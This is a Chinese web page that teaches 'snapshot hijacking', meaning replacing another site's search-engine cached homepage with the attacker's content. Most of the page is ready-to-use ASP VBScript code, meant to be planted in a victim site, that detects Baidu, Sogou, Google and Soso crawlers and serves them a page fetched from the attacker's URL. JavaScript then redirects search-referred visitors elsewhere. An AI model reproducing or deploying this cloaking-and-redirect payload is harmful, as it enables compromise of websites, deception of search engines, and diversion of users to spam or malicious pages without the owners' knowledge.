当前位置 主页 > 本站WEB程序 > 安全 > IIS7网站监控 >
快照劫持这个是有点技术含量的,需要的代码也不会那么简单,总之目的是把别人网站首页的快照变成自己的,然后别人输入网址打开的时候还是正常显示,判断来路之后才会跳转。想把快照换成自己想要的,得需要一段能改变蜘蛛看法的代码,代码类型很多,比如下面这一种:
<%@ LANGUAGE = VBScript.Encode %><%
Dim agent
agent=Request.ServerVariables("http_user_agent")
If instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then
linkurl="http://www.xxx.com" *快照网址
Function GetBody(Url)
Dim objXML
On Error Resume Next
Set objXML = CreateObject("Microsoft.XMLHTTP")
With objXML
.Open "Get", Url, False, "", ""
.Send
GetBody = .ResponseBody
End With
GetBody=BytesToBstr(GetBody,"GB2312")
Set objXML = Nothing
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write strBody
objStream.Position = 0
objStream.Type = 2
objStream.Charset = CodeBase
BytesToBstr = objStream.ReadText
objStream.Close
set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.baidu.com";
</script>
Select CodeCopy
代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。